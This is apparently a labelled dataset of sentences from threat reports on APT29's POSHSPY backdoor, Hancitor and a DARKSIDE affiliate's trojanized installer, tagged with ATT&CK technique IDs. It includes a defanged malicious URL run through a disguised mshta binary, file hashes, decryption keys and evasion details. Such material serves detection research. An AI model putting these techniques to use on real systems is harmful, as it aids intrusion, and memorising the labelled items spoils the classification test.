{"sentence": "A FilterToConsumerBinding associates Consumers to Filters.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Creating a WMI permanent event subscription requires administrative privileges on a system.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "We have observed APT29 use WMI to persist a backdoor and also store the PowerShell backdoor code.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "To store the code, APT29 created a new WMI class and added a text property to it in order to store a string value.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "APT29 then created a WMI event subscription in order to execute the backdoor.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The subscription was configured to run a PowerShell command that read, decrypted, and executed the backdoor code directly from the new WMI property.", "labels": ["T1140"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "This “fileless” backdoor methodology made the identification of the backdoor much more difficult using standard host analysis techniques.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "POSHSPY WMI Component The WMI component of the POSHSPY backdoor leverages a Filter to execute the PowerShell component of the backdoor on a regular basis.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Figure 1: “BfeOnServiceStartTypeChange” WMI Query Language (WQL) filter condition", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The BfeOnServiceStartTypeChange Filter was bound to the CommandLineEventConsumer WindowsParentalControlsMigration.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The WindowsParentalControlsMigration consumer was configured to silently execute a base64-encoded PowerShell command.", "labels": ["T1027"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Upon execution, this command extracted, decrypted, and executed the PowerShell backdoor payload stored in the HiveUploadTask text property of the RacTask class.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Figure 2: WindowsParentalControlsMigration", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "CommandLineTemplate Figure 3 contains the decoded PowerShell command from the “CommandLineTemplate.” Figure 3: Decoded CommandLineTemplate PowerShell code POSHSPY PowerShell Component The full code for a POSHSPY sample is available here.", "labels": ["T1140"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The POSHSPY backdoor is designed to download and execute additional PowerShell code and Windows binaries.", "labels": ["T1105"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Downloading and executing PowerShell code as an EncodedCommand 2.", "labels": ["T1027", "T1105"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Writing executables to a randomly-selected directory under Program Files, and naming the EXE to match the chosen directory name, or, if that fails, writing the executable to a system-generated temporary file name, using the EXE extension 3.", "labels": ["T1036.005"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Modifying the Standard Information timestamps (created, modified, accessed) of every downloaded executable to match a randomly selected file from the System32 directory that was created prior to 2013 4.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Using a custom User Agent string or the system's User Agent string derived from urlmon.dll 7.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Using either custom cookie names and values or randomly-generated cookie names and values for each network connection 8.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Uploading data in 2048-byte chunks 9.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "When combined with the other options in the DGA, 550 unique C2 URLs could be generated.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Infrequent beaconing, use of DGA and compromised infrastructure for C2, and appended file headers used to bypass content inspection made this backdoor difficult to identify using typical network monitoring techniques.", "labels": ["T1027"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Conclusion POSHSPY is an excellent example of the skill and craftiness of APT29.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "By “living off the land” they were able to make an extremely discrete backdoor that they can deploy alongside their more conventional and noisier backdoor families, in order to help ensure persistence even after remediation.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "As stealthy as POSHSPY can be, it comes to light quickly if you know where to look.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Enabling and monitoring enhanced PowerShell logging can capture malicious code as it executes and legitimate WMI persistence is so rare that malicious persistence quickly stands out when enumerating it across an environment.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Additional Reading This PowerShell logging blog post contains more information on improving PowerShell visibility in your environment.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "This excellent whitepaper by William Ballenthin, Matt Graeber and Claudiu Teodorescu contains additional information on WMI offense, defense and forensics.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "This presentation by Christopher Glyer and Devon Kerr contains additional information on attacker use of WMI in past Mandiant investigations.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "The FireEye FLARE team released a WMI repository-parsing tool that allows investigators to extract embedded data from the WMI repository and identify WMI persistence.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "In this article, we describe how Hancitor compromises systems based on its infection chain observed in January and February 2021.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "We cover its unpacking routine, information gathering and command and control (C2) functions, and payload execution techniques.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The malware Hancitor Hancitor (aka Chanitor) is a downloader which is used to gain initial access to a victim’s computer.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Its main purpose is to download and execute a second stage malware payload from one of multiple encrypted URLs contained in the malware itself.", "labels": ["T1027", "T1105"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Since then, almost every workday we have seen Hancitor activity.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The Word documents were droppers that install and execute the Hancitor downloader.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To find out how the OLE object is used and how the malware infection happens, we analyzed the VBA macros using Word’s developer tools. Figure 2 – Output from oledump showing the VBA macro in the Word document.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Open event.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The OLE object is then saved with a “.tmp” file extension into one of the local temp folders under “C:\\Users\\[username]\\AppData\\Local\\Temp”.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "As the VBA code does not know where the file was stored, it then recursively searches through all local temp folders.", "labels": ["T1083"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Once the “.tmp” file is found, it is moved and renamed to the Office templates folder (C:\\Users\\username\\AppData\\Roaming\\Microsoft\\Templates) as “W0rd.dll” and loaded using rundll32.exe.", "labels": ["T1036.005", "T1218.011"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "As a second argument, the macro passes the entry function “DllUnregisterServer” to rundll32.exe so that the execution starts correctly.", "labels": ["T1218.011"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Packed DLL analysis Briefly looking at the DLL characteristics shows that there are two unknown sections, which could be an indicator of packing being used to obfuscate the malware.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Opening the DLL in a debugger and running through the program, focusing on what is happening with the suspicious sections confirms that there is indeed some sort of unpacking happening.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Although the unpacking procedure happens in multiple steps, it can be described in two broad stages: Decryption Stage 1 First, the malware allocates new memory which is used to copy the data from section “.rdata4” into it.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The data, however, is not copied identically from the section to the new memory region because the bytes containing 0x21 are omitted.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "As soon as the copy operation is finished, the decryption process starts.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "It uses an XOR operation with the key and plaintext being incremented after each four-byte operation.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To start, the key is initialized with 0xD508.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 6 – Data view of the section containing the encrypted malware.", "labels": ["T1027", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Looking at the decrypted data and the behavior of the program, we can see that there are multiple areas containing different types of information.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The names of Windows API functions are stored in the first 150 bytes.", "labels": ["T1027", "T1106"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The area after this contains encrypted data.", "labels": ["T1027"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Finally, the executable code used to decrypt the encrypted data is located at the end of the section.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 7 shows the structure of the memory section.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The API function located at the beginning of the memory section are resolved using GetProcAddress.", "labels": ["T1106"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "However, instead of being resolved within kernel32.dll, they are resolved in kernelbase.dll.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "This is important to note because when debugging Hancitor samples, breakpoints are most commonly set on functions from kernel32.dll and thus would not be triggered during execution.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "After resolving the functions, the second decryption stage occurs.", "labels": ["T1027", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Decryption Stage 2 As indicated", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": ", the decrypted memory structure contains executable code.", "labels": ["T1027", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "As expected, the instruction pointer jumps directly to this section, which also contains the decryption algorithm for the second stage.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Before the decryption starts, new memory is allocated and the encrypted data from stage 1 is copied to it.", "labels": ["T1027", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The decryption algorithm of stage 2 is generally the same, but uses 0x3E9 as the initialization key.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The output of this decryption leads us to a PE file.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 8 – Overview of Hancitor’s decryption procedure.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The copy procedure is done section by section to bring the executable into the loaded form.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "This technique is called self-injection or PE overwrite.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "These function addresses vary from installation to installation, so this patching cannot be done by a static unpacker.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "For all the other decryption procedures described, you can find a static unpacker script in our GitHub repository.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To effectively run the new payload, a return to the correct DLL entry point is made.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "When using x32dbg to analyze the sample, simply patching the AddressOfEntryPoint to one of the exported functions makes the DLL runnable.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The subsequent functions collect additional information such as the machine’s public IP address, domain trust information and the computer architecture.", "labels": ["T1016", "T1082"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "All the collected information is then put together into a query string which is generated based on the computer architecture.", "labels": ["T1082"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 10 – Query string containing system information before being sent to the C2.", "labels": ["T1041", "T1573.001"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To determine the command and control (C2) servers waiting for the data to be sent to, the malware calls a decryption function that uses the RC4 algorithm to get a list of potential C2 URLs.", "labels": ["T1140", "T1573.001"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "After successfully decrypting the C2 URLs, the data is sent there using a HTTP POST request adding the constructed query string as data.", "labels": ["T1071.001", "T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "To increase the probability of reaching an active server, the malware iterates over all the decrypted C2 URLs and tries to reach all of them until one of them sends a response.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 12 – C2 communication function.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "We assume that based on the received data the C2 server responds with either a simple string which can be decrypted to an active malware download server or with garbage data in the form of a simple string.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Although the decoding algorithm of the C2 response looks quite complex, it is actually Base64 decoding, followed by an XOR operation using the key 0x7A.", "labels": ["T1140"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "If the decryption leads to a valid URL, the malware initiates a download, which delivers an executable.", "labels": ["T1105"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Create Thread The Create Thread method is as straightforward as Create Process.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The malware simply allocates some memory, writes the malware into it and creates a new thread from it.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Process Hollowing If the Process Hollowing method is used, a new svchost.exe process is created in a suspended state.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "The malware then allocates new memory in the newly-created process, writes the executable to it and executes it in a new thread.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Figure 13 – Process creation function.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "This method is mostly the same as the above described Process Injection method.", "labels": ["T1055"], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Conclusion This article should give a good overview of Hancitor’s capabilities and behavior as of February 2021. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "A list of IOCs is also available in the HP Threat Research GitHub repository.", "labels": [], "doc_title": "Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques"}
{"sentence": "Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "As reported in the Mandiant post, \"Shining a Light on DARKSIDE Ransomware Operations,\" Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background).", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Background In June 2021, Mandiant Consulting was engaged to respond to an intrusion.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Additional malware use such as BEACON, and lateral movement also occurred.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Supply Chain Intrusion Cycle Figure 1: Intrusion cycle Phase 1: Trojanized Installer Download Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The downloaded file was extracted to C:\\Users\\[username]\\Downloads\\06212019-General-SMARTPSS-Win32-ChnEng-IS\\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Mandiant confirmed the user intended to download, install, and use the SmartPSS software.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 2: SmartPSS download page Phase 2: Nullsoft Installer", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The installer executable is a Nullsoft installer that when executed wrote two files to C:\\ProgramData\\SMARTPSS-Win32_ChnEng_IS.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "We were able to extract the malicious installer script and files for analysis using 7-Zip.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The relevant section of this installer script is shown below in Figure 3. Figure 3: Nullsoft installer script section The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6).", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The latter is launched with a command line URL executing the content.", "labels": ["T1059.003"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided.", "labels": ["T1059.003"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4. Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe Phase 3: Downloaded VBScript and PowerShell Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line.", "labels": ["T1059.003", "T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "C:\\PROGRAMDATA\\SMARTPSS-Win32_ChnEng_IS\\smartpss.exe hxxp://sdoc[.]xyz/ID-508260156241 The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "<html><head>..<script language='VBScript'>..", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "On Error Resume Next", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "It is not clear if sdoc[.]xyz was selecting victims based on IP or other properties or was simply dormant.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 6: SMOKEDHAM downloader Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler.", "labels": ["T1059.003"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "csc.exe /noconfig", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": ":library /utf8output /R:'System.dll' /R:'C:\\windows\\Microso", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Phase 4: SMOKEDHAM Dropper The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor.", "labels": ["T1140"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The SMOKEDHAM backdoor source code is embedded as an encrypted string.", "labels": ["T1027"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point.", "labels": [], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 7 shows the deobfuscated SMOKEDHAM dropper.", "labels": ["T1140"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "Figure 7: SMOKEDHAM dropper Phase 5: SMOKEDHAM Backdoor SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture.", "labels": ["T1056.001", "T1113"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
{"sentence": "The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server.", "labels": ["T1105"], "doc_title": "Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise"}
